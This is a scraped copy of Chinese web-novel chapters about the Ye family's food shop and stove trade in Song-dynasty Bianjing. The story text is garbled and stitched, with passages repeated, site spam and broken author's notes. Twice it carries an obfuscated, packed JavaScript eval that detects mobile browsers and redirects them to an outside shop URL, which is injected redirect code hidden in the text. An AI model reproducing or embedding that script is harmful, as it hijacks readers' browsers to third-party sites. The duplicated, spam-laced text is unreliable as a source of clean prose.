再炒制片刻便成了肉茸里面的水分已经全部都不见了剩下的肉显得干干爽爽非常蓬松 原来这就是肉松名字的由头。 “这做法您想必也看见了若是吃完了可让府上的厨子们照着方子做没什么难点。” 裴管事看着两罐吃食很满意这下可是解了他的燃眉之急。 “以后若是我们店里没开张您可以就着肉松喝粥还可以配清汤面都是入口即化平添几分滋味。”叶盏叮嘱他。 裴管事点点头:“多谢叶娘子。”又要给叶盏支付两张菜谱的钱。 被叶盏婉拒:“您从前给了我免费方子我哪里能赚您的钱?”再者这方子本就不是她独创是历朝历代劳动人民的心血智慧 别说这方子她平日里自己做饭也不特意避开诸人就大大方方让往来行人看做菜好吃靠的不是一个两个藏私的秘方。 裴管事便也不坚持想着要在老夫人跟前多说说叶二姐好话回头看有没有庄子上送来的新鲜果蔬回赠些给叶二姐。 打发走裴管事玉姐儿回来了。 她脸颊有些发红抬头看叶盏在巴巴儿看着自己忍不住“噗呲”一声笑了:“那赵小七可是疯了疯癫颠不知在说些什么。” 又皱眉抱怨:“半天不说话害我在树下被大花蚊子叮了好几个包。” 满脸天真烂漫没有半点被告白的羞涩叶盏扶额看来姐姐果然还是对情爱之事一点都没感觉。 “我说他还小既没有跟着他爹做生意又不曾有功名还是个毛头小孩呢哪里就能想到成亲不成亲的事?几句话就轻松将他打发了。”玉姐儿回答得漫不经心目光盯着桌子不放“这是什么吃食?” 叶盏失笑姐姐果然心里只有食物。 她将小半碗肉松鱼松给她:“肉松和鱼松刚才为一位客人做的特意为你留了半碗。” “好妹妹!”玉姐儿眼前一亮。 肉松看上去是金黄色丝丝缕缕在碗里拿勺子舀起来却发现大半松松散散差点就成肉末了。 这是肉粉吗? 玉姐儿小心抿了一口却发现与自己吃过的菜肴不同:咸香味十足肉几乎是入口就化了还有些丝缕咀嚼起来津津有味。 玉姐儿吃完一口后忍不住感慨:“怪不得娘喜欢喝酒这玩意儿就 应当配酒。”又说:“我去盛碗米饭肚里的馋虫都被勾出来了。” 吃起! 叶盏给她盛了米饭玉姐儿将肉松夹在米饭上用浅褐肉茸铺在冒着热气的雪白米粒上再用勺子挖起一张大口“啊呜”一声痛痛快快全部吞进去。 还真是毫无心事啊叶盏忍不住开口:“姐姐想找个什么样的人?” 她想试探一下姐姐的心思也免得再出现赵小七这样的事时措手不及。 玉姐儿没有立刻回答先摆摆手示意妹妹等等。 闭上双眼专心咀嚼品尝嘴里美味肉松除了咸味还带着肉的浓香经过卤和烤制后香味已经非常浓郁 而且口感软软的抿一抿就化了再后面细细的肉丝条又是丝丝分明可以想象这是卤肉的每一根肉丝都清晰呈现出来这么加工之后丝毫没有塞牙的纤维反而咀嚼起来很过瘾。 等不疾不徐咽下去后才回答:“要家里有钱买得起山珍海味的还要人大方舍得供给我大吃大喝的。” 又兴致勃勃问叶盏:“等到时候寻个有钱婆家妹妹就给我做干贝扒乌参、一品鲍鱼裙边、红烧翅、黄焖驼峰这些美味如何?” 她从上次妹妹报菜名起就惦记着这些菜式了。 叶盏:…… 姐姐显然还在玛卡巴卡。 等晚上回家时听巷口在喧哗似乎有人在吵架还伴随着拳头撞击皮肉的声音。 玉姐儿赶紧拉着叶盏往家跑:“这种热闹少凑。” 回到家里宓凤娘正哼歌呢头一歪一歪打拍子。 “娘外头发生什么事了?”玉姐儿好奇凑过去打听。 “还能有什么事?”宓凤娘很高兴“何翠兰那个贼婆娘想吃人绝户结果被人家姑娘家里发现了底细打上了她家门。” 原本阮家暗地查访清楚真相想慢慢疏远何翠兰便是。却没想到何翠兰为了更有胜算索性在其他候选人上门时宣称自己家儿子胜券在握若有若无在街坊中散播谣言还涉及了阮家女儿的清誉。 阮家虽然是老实人但最疼爱女儿不过气愤何家这么行事 一五一十将何翠兰的算盘公之于众:什么 瞒着儿子吃喝嫖赌的过往、什么明明是入赘却宣称是娶妻。 什么在外面散播谣言几句话就将何家的遮羞布撕到了地上。 何翠兰一开始还赔笑赔不是,等试探清楚阮家是没心思结亲了,当即装也不装了,于是两家便大打出手。 她平日里引以为傲的儿子们都是软脚蟹,外表装霸道,真遇上事怕的什么似的,丢了老娘就抱头逃窜去了。 还是阮家看男人走了,便手下留情没再动手,只有阮家娘子撕扯了何翠兰的头发扇了她几个耳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶大富抬头看,却见是一个马车,车帘低垂,看不清里面人模样,只能看见拉车的马膘肥体壮、车帘布是贵重的回文织锦。 “好嘞!叶大富高兴坏了,立刻拿起干蒲草,左右上下包扎得严严实实,再用麻绳从底下一捆,怕掉还横着捆了一道,两道汇合成“十字,拧好后递过去,“您拿好。 马车前自有仆从收走,递给叶大富二两银子。 叶大富捧着银子,临了还记得给女儿食肆宣扬生意:“您可是去野外宴饮,州桥夜市有家叶二姐食肆,做得一手好茶饭,配上这炉子正好。 对方却不答话,马车立时就走,叶大富看着马车身影久久不能回神,问旁边的人:“难道是哪家贵门女眷? 有知道的人笑话他:“见识浅薄,高门贵女口不谈财,应当是出来买东西的婢女。 一个婢女出行都有这般排场,那该是哪等高门啊?叶大富想到她有可能光顾女儿店里,当即高兴坏了,摸了身上的芝麻糖在街巷小孩眼前晃了晃:“去给叶二姐传个话,就说爹介绍了一位贵人生意,万一找上门来让她别赶出去。事成之后我赏你吃芝麻糖。 芝麻糖是叶盏做得,雪白的麦芽糖上沾满了芝麻和彩色蜜饯,看着就诱人,小孩拔腿就跑, “那我怎么办啊? “怎么办?谁让你嫌贵。叶大富洋洋得意, 不过他很快就灵光一现:“这样,毕竟客人您是先问的,我少不得要低声下气去求那位铁匠大师再做一个。只不过,这回就不能讲价了。 小厮忙点点头,他后悔啊,这风炉带到老爷那里去,报账五两,自己还能赚三两呢! 再说老爷追求风雅,动辄一掷千金,一听这炉子京城独一份必然高兴,心情大悦之下必有重赏,自己还能赚不少。 眼看有大生意,叶大富裂开嘴笑。 要不是女儿要扔杂物这破锅圈还在厨房柴堆下躺着生锈呢,哪里有这样的境遇? 盏儿果然自带财运!黑靴也有财运! 作者有话要说 开了段评功能,欢迎评论吐槽。 ①火炉上套个圆形防风器的灵感出自一副宋画野外宴饮图,但忘记是哪副了,抱歉。 ②《宋代物价研究》 看这本书的人都是很幸运的,分享后你的运气会更棒的 说你去前面铁匠铺打听下如今铁器是什么价格?” 他敲了敲锅圈:“看这工艺!套得严丝合缝没个五十年的老手艺人套不出来!” “再说了满汴京城你找不出第二个!”叶大富作势要收走锅圈火炉。 却被另外一个女声开口:“二两银子给我包起来。” 叶大富抬头看却见是一个马车车帘低垂看不清里面人模样只能看见拉车的马膘肥体壮、车帘布是贵重的回文织锦。 “好嘞!”叶大富高兴坏了立刻拿起干蒲草左右上下包扎得严严实实再用麻绳从底下一捆怕掉还横着捆了一道两道汇合成“十”字拧好后递过去“您拿好。” 马车前自有仆从收走递给叶大富二两银子。 叶大富捧着银子临了还记得给女儿食肆宣扬生意:“您可是去野外宴饮州桥夜市有家叶二姐食肆做得一手好茶饭配上这炉子正好。” 对方却不答话马车立时就走叶大富看着马车身影久久不能回神问旁边的人:“难道是哪家贵门女眷?” 有知道的人笑话他:“见识浅薄高门贵女口不谈财应当是出来买东西的婢女。” 一个婢女出行都有这般排场那该是哪等高门啊?叶大富想到她有可能光顾女儿店里当即高兴坏了 芝麻糖是叶盏做得雪白的麦芽糖上沾满了芝麻和彩色蜜饯看着就诱人小孩拔腿就跑 “那我怎么办啊?”旁边小厮这才回过神来带着哭腔问。 “怎么办?谁让你嫌贵。”叶大富洋洋得意 不过他很快就灵光一现:“这样毕竟客人您是先问的我少不得要低声下气去求那位铁匠大师再做一个。只不过这回就不能讲价了。” 小厮忙点点头他后悔啊这风炉带到老爷那里去报账五两自己还能赚三两呢! 再说老爷追求风雅动辄一掷千金一听这炉子京城独一份必然高兴心情大悦之下必有重赏自己还能赚不少。 眼看有大生意叶大富裂开嘴笑。 要不是女儿要扔杂物这破锅圈还在厨房柴堆下躺着生锈呢哪里有这样的境遇? 盏儿果然自带财运!黑靴也有财运! 作者有话要说 开了段评功能欢迎评论吐槽。 ①火炉上套个圆形防风器的灵感出自一副宋画野外宴饮图但忘记是哪副了抱歉。 ②《宋代物价研究》 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第 34 章 牛肉馉饳、牛油烙... 叶大富嗅到了其中商机,找铁匠铺一口气定了二十个锅圈,因怕泄露商业机密不敢交给工匠加工,自己躲在叶家灶房后的死胡同里叮叮当当敲了好几天。 终于做了一大批一摸一样的“防风炉”出来。 先给那预定了的小厮一个,剩下就摆在他的博卖摊旁边慢慢卖。 生意出奇得好,二十个防风炉只花了两天就一售而空! 叶大富乐得合不拢嘴,提前收摊,买了酒又割了两刀平日里舍不得吃的牛肉,回家将剩下的钱交给了宓凤娘。 除去他的成本十两银子,净赚了三十两银子。 两口子对着银子乐,已经许多年没有赚过这么轻松的银子了,也没有赚过这么大笔的银钱。 等叶盏归家就迫不及待告诉女儿:“今儿有上好的黄牛肉哩!” 黄牛肉在老百姓饮食中算是稀罕物,叶盏来大宋这么久还是第一次 叶大富买的是上好的牛肋条,边上有肥美的牛腩和牛油,主体是精瘦的红牛肉。散发着好看的光泽。 还跟人多加钱半买半赖了几根牛骨。 可叶大富节俭惯了,说是奢侈仍旧也只买了三指宽的一片牛肉条,一家七口人吃显然不够。 叶盏想想,将牛肉上的肥肉剔了下来,小火慢熬,一会功夫,肥肉就融化凝固成了淡黄色透明的牛油。 再另起锅,盛一勺牛油下锅,锅里加入葱白芷丁香等各色香料慢慢爆香,估摸着各色香草的滋味已经渗进了牛油后再将调料捞出。 这一炼化牛油,惹得全家人不住咽口水:“这牛肉滋味还真是香啊。” 香归香,叶大富作为一个老庄户人家还是不忍心吃牛肉:“到底是在田里操劳一辈子,求菩萨保佑它早登极乐。” 可惜这个时代没有辣椒,不然这锅牛油正好做麻辣牛油火锅,青花椒醪糟加进去煮起来,嚯,叶盏不敢想象该有多香。 想了想,将牛油分两批,一半做牛油烙饼,一半做牛油包子。 将刚才的调料全部放进石臼子捣成粉,混合着牛油搅拌均匀。 再将活好的白面擀开,用小刷子蘸牛油调料均匀铺开,再撒上一层香葱末,卷起切开,在平底锅里烙熟。 烙饼渐渐变黄,上面有不规则的褐色小 点那是焦了的地方散发出浓郁的牛油香气。 牛肉则全部放在案板上剁成馅加了芹菜末、炒过的胡萝卜末、粉丝末再剁了一条猪肉混合在一起估摸着馅料这才够了。 “这是要包牛肉馅馒头?①”叶璃探头看很是好奇。 “嗯。”叶盏应了一声“牛肉不多剁成馅能让家里人多吃点。” 她这些天观察了发现一个现象就是做炒菜或是炖菜叶大富和宓凤娘两个总是舍不得夹里面的肉要留着给儿女吃都往旁边的配菜上夹。 这回有了牛肉两人肯定又是舍不得最多夹一筷子尝尝滋味了不如做成包子让他们也能吃个尽兴。 叶盏一边说一边迅速擀好了包子皮。 “我也来。”玉姐儿赶紧洗手。 叶盏点头应下她一手转着包子边沿一手飞快包起好几个褶。 玉姐儿很认真学习她这些天跟叶盏虚心学艺也学了点厨艺皮毛因此包起包子来也是像模像样算是叶盏的好帮手。 两姐妹一起很快就包了一百个小笼包入笼上锅蒸上。 蒸笼下面锅里的水也不浪费放入焯过水的牛骨和萝卜炉灶里煨了山芋。 叶盏也是到了古代才知道蒸食物太费炉灶柴火老百姓过日子必然是舍不得耗柴所以蒸菜算是年节大菜而且蒸的时候也会像现在这样又煮又烘定要将热量利用最大化。 说起这个寻常百姓家里连煮热水都不煮都去街上店铺里买像上次她们去洗澡那香水行的老板家里常年供着大灶烧水除了开茶馆还兼卖热水街坊邻居们需要了就去打一壶热水。 家里人习惯喝凉水还是叶盏坚持家里才养成喝热水的习惯。 锅中很快就冒起了雪白的蒸汽叶璃好奇四下打量被金哥儿提溜开:“小心烫。”这蒸汽可要比热水还要烫呢。 玉姐儿巴巴盼望着包子好坐在灶前不住添柴拉风箱惹得宓凤娘骂:“火太大小心烧穿了锅底。” “那正好 等她添了两回柴这包子终于蒸好了。 笼屉一开雾气立刻四散将个灶屋笼罩得密密实实像是 大雾天暖烘烘水汪汪的蒸汽贴在脸上玉姐儿笑容更灿烂几分。 好容易等到包子上桌叶家人早就迫不及待打量着包子。 牛肉包子外皮雪白白白胖胖躺在箩筐里似乎在招呼人“来尝尝!” 玉姐儿立刻回应迅速拿起一个。可她很快就惊呼一声:“好烫!” 刚出炉的包子还冒着热气烫得人手疼。 玉姐儿一边嘴凑过去往手上吹气一边左右手互换。可即便是这样仍旧没舍得拿开包子。 汁水饱满汁水虽然不多但混了好几种风味:芹菜的清新和胡萝卜的甜再加上牛肉猪肉混合的肉汁在蒸笼里混合煮熟后滋味复合多种香气 馅料好足!虽然牛肉不多但粉丝丰盈、胡萝卜丝甜软、芹菜爽口、猪肉肥香这几种馅料混合着牛肉鼓囊囊把个薄皮包子填充得胖胖胀胀。 叶盏加了点牛油因此虽然炼过油了仍旧能让人满嘴流油。 宓凤娘看着包子咂吧了下嘴却没拿包子而是先拿起一个牛油烙饼。 酥软冒着热气的大饼咬开后牛油香气四溢一大口下去 葱香混合着牛油已经完全融入到饼里到处都透着热气。 大饼本身麦香味十足面饼本身一层又一层越嚼越香! 叶盏笑眯眯给爹娘碗里各夹了一个包子:“今儿个先紧着包子吃吃完再吃烙饼这牛油烙饼可经放呢。” 两口子犟不过女儿吃了包子这下两人都满足得直叹气:真好吃啊! 牛肉的滋味比羊肉和猪肉都不同质感要更粗粝滋味也更雄厚 连之前不忍心吃牛肉的叶大富也忍不住又拿了一个:“也多亏盏儿的手艺才没枉费这头牛的性命。” 没人搭话家里其他人连话都顾不上说一个接一个吃牛肉包子。 一口气吃了好几个包子肚子里那股子馋虫才消停这时又有功夫看桌上其余的菜式。 汤是牛骨萝卜片汤已经被煮成半透明的萝卜切片后又放回锅里临出锅前放一点煮好的粉条、木耳、黄花菜撒一层厚厚的芫荽香菜末便能出锅端上桌。 桌上摆了两样小菜一样是将菜园子里带着清香的黄瓜切下凉拌一样是从 缸里捞出来的腌酸菜。 脆生生、凉滋滋,正好都是下饭菜,中和牛油的腻。 吃一口牛油烙饼,就着“咔嚓咔嚓”的凉拌黄瓜,“吸溜”喝一大口牛肉粉丝汤溜溜缝。这日子,逍遥啊! “皇帝老爷肯定吃的是纯牛肉馅大馒头,一盘几十个。吃到饱为止。”叶大富吃了十几个包子,满足拍拍肚子,不停打着嗝。 牛肉混猪肉的包子都这么香,那纯牛肉的包子该有多香?也只有皇帝老爷才配吃这么纯正的包子吧? “你可别闹笑话,难道那肉馅馒头还是东宫娘娘亲自包的?”宓凤娘纠正丈夫错误,“长公主所用器皿都是纯金,贵人们哪里会吃那样粗鄙之物?” 她见多识广,当然不屑丈夫这种做派:“再说了,怎么能用戏文里的叫法呢?当今皇上皇后被唤作官家、圣人娘娘,可别说错了。” “凭它是什么,现在都没我逍遥。”叶大富美滋滋哼着戏文,逍遥自在得很,深觉现在就是给他个皇帝,都不换。 多出来的包子被盛在篮子里,挂在灶房横梁上防老鼠,打算留着慢慢吃。 金哥儿开玩笑:“只怕老鼠还没吃,我家硕鼠先给吃了。是吧,玉姐儿?” “嗯?”玉姐儿恋恋不舍收回盯着篮子的目光,“大哥,什么硕鼠?硕什么鼠?” 宓凤娘拿出一盘叫叶盏送去给赵小七家:“赵家老送笋肉馒头给我们,老是白吃人家的,这回我们也回赠牛肉馒头。”牛肉很稀罕,送人多有面子啊。也不枉白吃赵家这么多次馒头。 没想到玉姐儿抢先:“我去送!”赵小七不是口口声声心悦于她吗?正好可以从他手里多拿几个包子回来。 可让玉姐儿意外的是,她没遇上赵小七,赵夫人说儿子换了书院,离家去苦读了。 赵小七原本在附近的私塾,这回去了宜男桥附近的三学院,听说这座学院离着太学近,耳濡目染沾染些文气。 玉姐儿除了有点遗憾没拿到包子外没什么旁的感想。 不过赵夫人还给她抓了一把窝丝糖。 等回家后倒是叶盏发现了端倪,悄悄将姐姐拽到一边,小声问他:“上次你跟赵小七说话,是不是说他学业不精的话了?” 玉姐儿口里正含着一个窝丝糖,说话也含含 糊糊,歪着脑袋想了半天才道:“似乎……说了?我说他既没有生意又没有功名,自己还跟父母张口要钱呢,哪里就能谈情说爱了? 说完后她后知后觉捂住嘴:“难道是这个原因…… “多半是为了这个原因。 赵家有商铺有大宅邸,赵小七读书是为了认识几个字方便看账打理生意,并不需要读出什么成果,压根儿不需要苦读。 年轻气盛的小男孩面子大过天,玉姐儿拒绝他时虽是无心,但也戳中了赵小七自尊心。 他肯定痛定思痛,跑去读书,想要读出个成果给心上人看。 玉姐儿一口窝丝糖差点噎住了自己:“那怎么办?他不会怀恨在心报复我吧? “应当不会。叶盏摇摇头,“赵家人都和善,不像小肚鸡肠的。 “也是。玉姐儿听几句宽慰就雨过天晴,继续喜滋滋吃窝丝糖,“今儿赵夫人给我的窝丝糖正好是我最爱吃的,应当她家人没有记恨我。 叶盏也拿了几个包子装盘:“有位老夫人给了打赏,我给她也装一盘,算是答谢人家。 裴管事拿走鱼松肉松后,第二日又来店里居然给叶盏带了两匹尺头:“这是感谢您肉松鱼松的心意。 他含含糊糊没说是他家主人,叶盏便仍旧装不知道。再看那尺头是街面上能买到的料子,花样却是年轻姑娘喜欢的,知道对方下了心思,便不再推辞收下了礼物。 如今这包子吃起来绵软,肉馅又全部剁碎不费牙,适合老年人,拿来送人正好。 处置完包子叶盏提起了正事:“爹,您有没有想过再定制一批防风炉来卖? “再卖?这……叶大富迟疑犹豫,“我虽然也心动,可这好运气哪里有一而再再而三的? 家人们不愿意。 “妹妹,这做生意有赔有赚,咱们这些不熟悉生意的人赚一笔已经是意外之喜,难道不应该及时收手吗?金哥儿劝说。 他跟着公子哥们混在一起,自然耳濡目染学了不少生意经。 “就是啊,盏儿,要说做菜你懂,可是卖炉子可不一定。宓凤娘虽然爱财,但也知道这种好运不可能再延续几次。 “我听客人们说,下半年要殿试,所以京城进来不 少人,最近都会热闹。”叶盏不徐不疾,显得胸有成竹。 “现在正值三年一次的省试,礼部在各省贡院举行完考试后,各地的优胜者纷纷进京来等待参加参加殿试。” 本朝殿试没有黜落一说,只不过是排先后顺序,参加就能获得名次,殿试后也不用参加吏部考核,由皇帝直接授官。 因此进京赶考的学子们有不少精神松懈的,整日里游山玩水结交朋友,写诗作文拜访高官。 “这些人多了,游山玩水的人就多了。” 说更新,记住域名qiexs⒌(请来企鹅小 说 看最新章节 完整章节) 学子们想游山玩水留下一个雅名,做些诗文传颂文坛在士人心中留下文名,让高官们也知道自己的名号方便日后攀登仕途; 有女儿待字家中的想在别人榜下捉婿前寻觅个潜力股,便也带着女儿踏青; 爱好风雅的高门也开起了诗会、赏花会,四处发帖邀请学子中佼佼者,提早结个善缘。 玉姐儿也恍然大悟:“是啊,我听说京城附近的下松园、琼林苑这些园林简直挤爆了。最近来店里的客人都在谈论此事。” “近来酒楼里公子哥们宴饮的外地人也多了几成。”金哥儿回忆起蛛丝马迹。 踏青喝茶的人多了,炉子需求就多。 何况叶大富的防风炉横空出世,简直大大迎合了市场需求。 野外踏青,不管是煮茶还是做饭都离不开火炉,要是烟熏火燎哪里还有风雅可言? 叶大富做的“防风炉”正好挡风档烟,将火苗乖乖约束在方寸天地,多余的火舌也不会蹿出来熏黑茶壶边沿。 “爹的炉子一定大有可为,必然不会赔本。”叶盏一锤定音,“我们还可以借着这股东风再赚一笔。” “似乎不错啊……”叶大富和宓凤娘对视一眼,都很心动。 他们久居京城,当然知道每三年一次的殿试都能引得城里百货价格上涨,找宓凤娘说媒的人都能多许多。 “那我们第二批再续订多少呢?”叶大富问。 “找铁匠铺再订一百个。”叶盏很笃定,“全国每个州郡至少有一名学子赴京,再加上本地人家,这一百个也够了。” “不用这么多吧?”宓凤娘慢慢琢磨,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101483|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们先订十个,要有人预订,再慢慢找铁匠买,何必增加成本?” 叶盏还没 顾上回答,金哥儿看明白了:“这防风炉太好做了,要是懂行的铁匠打量几下就能仿制一个出来。 如今供不应求,自然不会引起他人注意,可一旦风靡开来肯定会引得城中铁匠纷纷仿造。 到时候他们再仿制也卖不了高价,而且铁匠为什么要接你的单子呢,人家自己做了卖不好吗? 叶家人恍然大悟,原来是这么回事。 “好,就听盏儿的,这回做个一百个。宓凤娘下定了决心。 “可是女儿……这成本……叶大富犯起愁来,“我一共赚了三十二两银子,除去成本和买菜打酒花销,还剩下三十两。 “再定一百个的话光是铁匠铺成本就要五十两银子。哪来这么多的本钱呢?不如我们就定三十两银子的货,六十个也足够了。 家里倒是有积蓄,但那积蓄是留着给几个儿女嫁娶的钱款,决不能动。 “这钱我来出。叶盏毫不犹豫,“如今店里周转得开。 “那好。叶大富下定决心,“你出二十两,若是有收益就按比给你分钱。 于是叶家就这么又定制了一百个防风炉。 接货的铁匠对此很好奇:“叶大富,你哪里混来这么大一笔买卖? 叶大富拍他肩膀跟他称兄道弟,可说起机密来却含含糊糊:“走了狗屎运,搭上了贵人。 街头巷尾住着,铁匠也听说了叶大富浑家跟长公主有交情,便不再追问。 防风炉做好后,叶大富索性将博卖摊上的其他器皿都撤了,就专一卖防风炉,他也机灵,摆摊地不是在最富贵的御街就是在都亭驿, 都亭驿周围三个方向分别是尚书省、开封府、御史台,都是达官显贵出入的地方,有一次他还看到了小裴大人,拉着他也兜售过一回。 家人这回都担心上了,这回有一百个炉子,能卖得掉吗? 宓凤娘难得的连酒都喝得少了,后悔没跟叶大富一起去摆摊,金哥儿恨不得拉公子哥儿去买防风炉。 玉姐儿饭都吃得不香了:“若是赔了本,我与你平摊这二十两银子。 全家翘首以盼,就等着叶大富回家呢。 夕阳西下的时候,叶大富终于归家了,他面色被太阳晒得发黑,看不出表情来。 “卖得怎么样?”宓凤娘急了 银哥儿和金哥儿今天早早就归家等信了赶紧一左一右迎接上去。 “爹车子怎么是空的?”叶璃眼尖。 叶大富摇摇头挥挥手召集全家示意家人进屋说。 等进屋后他又将木窗拉了回来点燃了油灯。 叶家人纳闷大眼瞪小眼不明白叶大富这是受了什么刺激。 “爹没赚钱就算了。”叶盏赶紧安慰他“不然就寄存在我们食肆里三五不时也能卖掉。” “你故弄玄虚什么?”宓凤娘不高兴了“赶紧说句话啊。” “孩他娘你听我说。”叶大富赶紧安抚妻子从怀里掏出一个包袱随后就着油灯微弱的光线掀起了包袱一角“哗”一声就把包袱里的东西往外倒。 有重量、叮叮当当、白两发光。 “银子!”宓凤娘第一个反应过来炕上全部是白花花的银子。 她看着这么多银子似哭似笑:“这不是在梦里吗?” “当然不是梦。”叶大富得意洋洋。 不过一天功夫叶大富就卖光了这批炉子。 100个炉子成本50两售价200两总共赚了150两银子! 算算钱他这一批抛去了成本净赚了一百五十两银子。 整整一百五十两银子啊! 两口子自打卖了家产后就没见过这么多银子当即激动得泪盈满眶。 叶大富将钱交给了宓凤娘当天他在门口搭了个配盖睡得两口子对着钱数了半夜宓凤娘当天晚上抱着银子睡着早上起来后背膈到了好几块青紫。 多亏了盏儿才能赚这么多钱! 叶家人这回都这么认为叶大富更是抽出了六十两银子拿给了叶盏:“这是盏儿自己赚钱得来的。” 叶盏也不推辞收下了银子她最近正好需要用钱。 京城外出踏青成风叶盏决定推出踏青套餐也借机大赚一笔。这回面向的是有钱有闲的贵门菜品原材料就应当更昂贵才行。 首先菜品能装入食盒带到郊野最好不要有汤汤水水否则马车颠簸路途遥远破坏了菜品本来的形状让客人扫兴; 二是样子要好看 ,食材要高档。这个很容易理解,踏青的都是贵人们,自然会对入口的食材有所挑剔,菜肴的卖相很重要; 三是不容易变质。现在虽然有能放冰块保鲜食物类似现代冰箱的“冰鉴 要满足这三点范围就已经很小了,叶盏思索着,闭店后仍在账册上写写画画,力求谋划出完全方案。 就在此时听得一声“店家,打烊了吗? 男声浑厚凝重,音色很好听,叶盏不由自主抬起头。 是小裴大人,他这回身着官服,似乎下衙后还来不及换便服,叶盏想起上次见面时自己还撞了人家一下,当即开口:“尚未。 她指了指案板:“只有我们自己吃的馉饳了,大人可介意? 这回赚了钱,她请客给家里又买了些牛肉,打算在店里包好后带回家吃。 “可以。裴昭点头,又似乎有些好笑,“上次来你食摊也没吃上正经饭食。 叶盏笑,这位裴大人还真是工作刻苦。 裴昭找了间空座自己坐下。 今天下衙后他来附近查访一桩案件的线索,还体恤得给两位小厮提前放了假,谁知忙完后已经天黑。 他实在不想拖着这么饥肠辘辘的身子回府再吃饭,便想在附近找一家小食店吃些点心先垫垫肚子。 想来想去忽然想起叶二姐食肆就在附近,便起意过来。 原本只是试着向路人询问一下,却没想到过路人一听就知道:“叶二姐食肆啊,那家很好吃,往那条街去。 裴昭走到了杏花巷门口,看了一下四周,到底还是走到了店门口,等到店门口心里暗暗赞叹一声:好雅致个去处。 他欣赏一遍店内外风景才进去,却发现店里已经没了客人,大半桌子已经撤了杯盘,店主正在清洗桌面。 随口问了两句,还好老板想办法提供了餐食。 裴昭正胡思乱想,忽然感觉到身上焦距了目光,职业习惯让他立刻抬头,却捕捉到店里另外一位姑娘正直勾勾盯着他,目光颇有怨念。 裴昭不明所以,只记得这位似乎是老板姐妹,上次捧着半张粗粮馅饼蹲在角落里吃得欢,不知道为何这么对自己? 第 35 章 鹅梨羊肉签、八宝... 自那以后裴昭就常来店里吃饭,他不多说话、也不挑剔、给赏钱又多,玉姐儿对他态度才大为改观,每每见到他还会给他多倒一杯茶:“您请喝。” 裴昭道过谢,点了一份炒面。 常听衙门里同僚说这炒面如何如何好吃,今日一吃,果然名不虚传:锅气浓郁的炒面里面混合着豆芽肉丝等配料,各色酱料都在炒制中融入了面条里,比普通的汤面吃起来滋味要更加浓郁。 旁边桌的食客跟他点了一样的菜式,呼噜呼噜就三下五除二吃完了炒面。 裴昭则吃相斯文,慢条斯理好久才吃完。 玉姐儿笑眯眯给他端过来一份鱼汤:“第一次您来店里吃饭时没喝到,这回免费送您,您请尝尝。” 她笑得格外真心,裴昭除了饭钱还给了五十文的赏钱呢,白送他一条鱼都划算。 裴昭谢过,慢慢喝汤。 他今天比往日里要早,但也比其他食客要晚,喝汤的功夫店里其他食客都陆续吃完离开了。 裴昭坐着的这个位置,抬头看过去正好能看见柜台里的叶盏。 就见她手指轻轻捏起纱布,十指翻飞,灵巧将里面包裹着的饭团捏成圆形, 随后将饭团摆进食盒,垂首四下打量,似乎在品鉴菜式卖相是否合格。 或许是太忙乱了没顾上梳头,一缕发丝慢吞吞从她髻间滑落,在夕阳余晖中折射出温柔的光泽,她没理会,只垂首沉思,夕阳中的剪影温柔又坚毅。 叶盏正在琢磨踏青套餐。 定制了正方形的食盘,内里放的菜式有主食有甜点,还要有荤有素。 叶盏打算做八宝饭和手鞠寿司的结合版,就叫做八宝蹴鞠饭。 蒸好的糯米饭内加入糖拌匀,纱布铺平先放一层蔬菜,再铺糯米饭,最后卷起来团成小球状捏圆。 再加上鹅梨羊肉签、烤鸡翅、蒜香酸辣鸡爪、陈皮红豆双皮奶几种菜式,满满当当就放满了整个食盒。 正在调整,就听门外车马响动,有辆马车停下,下来一个衣着华贵的婢女,左右跟着两个小婢女,神色也很倨傲:“这里便是叶家食肆?” “正是。”叶盏想起亲爹叮嘱过买防风炉时替店里打过广告,干净笑着迎上去,“客人请进。” 那婢 女置若罔闻立在门头上下打量食肆在看到一系列与本土风格不同的装饰后面色才隐约有了松动抬起步子往里走。 进店之后她坐也不坐仍旧昂着头问:“店里可有适合踏青的菜式?” 正好。 叶盏便将自己刚出精心布置好的食盒递过去:“您瞧瞧这是店里的踏青套餐。” 侍女皱眉看去就见一个方方正正的食盒内里整整齐齐摆放着十数个团子大小的米饭球球表面有“万”字、“井”字花样黄的粉的绿的紫色各种颜色蔬菜搭配看着不像吃食倒像是一盒小花球。 她第一次露出满意的笑容:“这是何物?从未见过。” “名叫八宝蹴鞠饭是本店独创因为看着像蹴鞠所以得名蒸好的糯米饭内加入糖拌匀纱布铺平先放一层蔬菜再铺糯米饭最后卷起来团成小球状捏圆。” “表面是各色菜式内里的饭团有甜有咸甜的有果干糯米甜饭咸的里面包裹肉松。” “肉松?” 叶盏便拿起一罐自己做的肉松递过去给她看:“是用纯肉炒制成末而成。” 侍女又看了看里面其他鹅梨羊肉签、烤鸡翅、蒜香酸辣鸡爪、陈皮红豆双皮奶等菜式每样都询问制作手法和原材料。 玉姐儿在旁边听得不耐烦这人到底买不买啊?问了一圈每样问这么细致会不会是打探菜式的竞争对手? 她要上前询问却听裴昭轻咳一声冲她微微摇了摇头。 玉姐儿这才坐下虽然与这位裴大人并不相熟但玉姐儿凭直觉就知道他是位好人值得信赖。 不同于玉姐儿的急躁叶盏认认真真给侍女逐一解释最后出言询问:“这一个食盒要一千文客人可要买一点尝尝?” 食盒里选用了不少稀罕食材叶盏的要价便也相应抬高了不少。 侍女对价钱没什么反应 